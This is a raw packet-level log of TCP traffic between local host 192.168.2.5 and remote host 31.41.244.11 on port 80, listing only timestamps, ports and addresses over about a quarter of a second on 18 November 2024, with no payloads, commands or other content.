Nov 18, 2024 19:04:13.595201015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595207930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595223904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595242977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595263004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595276117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595304966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595323086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595329046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595376015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595386982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595434904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595927954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595964909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.596010923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.596520901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604228020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604330063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604343891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604393005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604419947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604434967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604449987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604465008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604480982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604481936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604516029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604551077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604768991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604784966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604799032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604815006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604823112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604830027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.604845047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.604881048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.646822929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.646956921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.647001982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.647058010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661592007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661640882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661655903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661659002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661670923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661681890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661714077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661736965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661780119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661837101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661853075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661883116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661904097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.661979914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.661995888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662029028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.662053108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.662136078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662185907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.662672043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662739992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.662743092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662761927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662796021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.662821054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.662949085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662965059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.662981033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663000107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663021088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663043022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663161039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663177013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663208008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663228989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663330078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663357973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663376093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663382053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663388968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663391113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663408041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663418055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663422108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663436890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.663444042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663464069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.663500071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710146904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710203886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710221052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710305929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710340023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710354090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710370064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710386038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710402966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710405111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710436106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710470915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710664034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710694075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710709095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710721970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710745096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710763931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.710951090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710978985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.710994959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711002111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711010933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711021900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711026907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711041927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711045027 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711059093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711071014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711075068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711106062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711131096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711667061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711683035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711698055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711723089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711740017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711749077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711756945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711772919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711782932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711790085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711805105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711817980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711821079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711836100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711850882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.711854935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711877108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.711898088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.712703943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712723970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712739944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712754011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712764025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.712769985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712786913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712790012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.712802887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712819099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712825060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.712832928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712850094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.712850094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.712886095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.712908030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.713557005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713573933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713588953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713603973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713612080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.713618994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713632107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713632107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.713649035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713664055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713668108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.713680029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713694096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.713695049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713710070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.713731050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.713762045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.714462042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714479923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714494944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714517117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714517117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.714531898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714550018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714560986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.714565039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714580059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714595079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714598894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.714612007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.714622021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.714643002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.714677095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.722925901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.722965956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.722981930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723005056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.723030090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.723136902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723153114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723167896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723190069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.723217010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.723253012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723268032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723282099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723298073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.723304033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.723344088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.766284943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.766314030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.766330004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.766359091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.766402006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.780565977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780637980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.780644894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780663013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780694962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.780716896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.780832052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780848980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780857086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780873060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780889988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.780900955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.780936003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.781228065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781244040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781294107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.781585932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781637907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.781714916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781730890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781785011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781800032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781800985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.781816006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781827927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.781832933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.781857014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.781891108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.782169104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.782238007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.782426119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.782440901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.782457113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.782471895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.782471895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.782489061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.782494068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.782516956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.782557964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.828733921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.828803062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.828807116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.828821898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.828847885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.828871012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829021931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829039097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829055071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829109907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829184055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829226971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829242945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829247952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829262018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829283953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829322100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829544067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829560041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829575062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829592943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829616070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829772949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829828024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829904079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829917908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829931974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829947948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829957962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829962969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.829979897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.829982996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830020905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.830054998 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.830512047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830528975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830543995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830559969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830564976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.830575943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830590010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.830590963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830607891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830621958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830622911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.830631971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830638885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.830703974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831008911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831403017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831419945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831434011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831458092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831461906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831474066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831475019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831491947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831509113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831516981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831526041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831537008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831542015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831558943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831573009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.831574917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.831609011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832365990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832385063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832401037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832417011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832421064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832433939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832447052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832448959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832467079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832480907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832493067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832496881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832516909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832516909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832530975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832544088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832545996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.832570076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.832592010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.833268881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833287001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833302021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833317995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833322048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.833333015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.833343029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.833349943 CET	80	49977	31.41.244.11	192.168.2.5
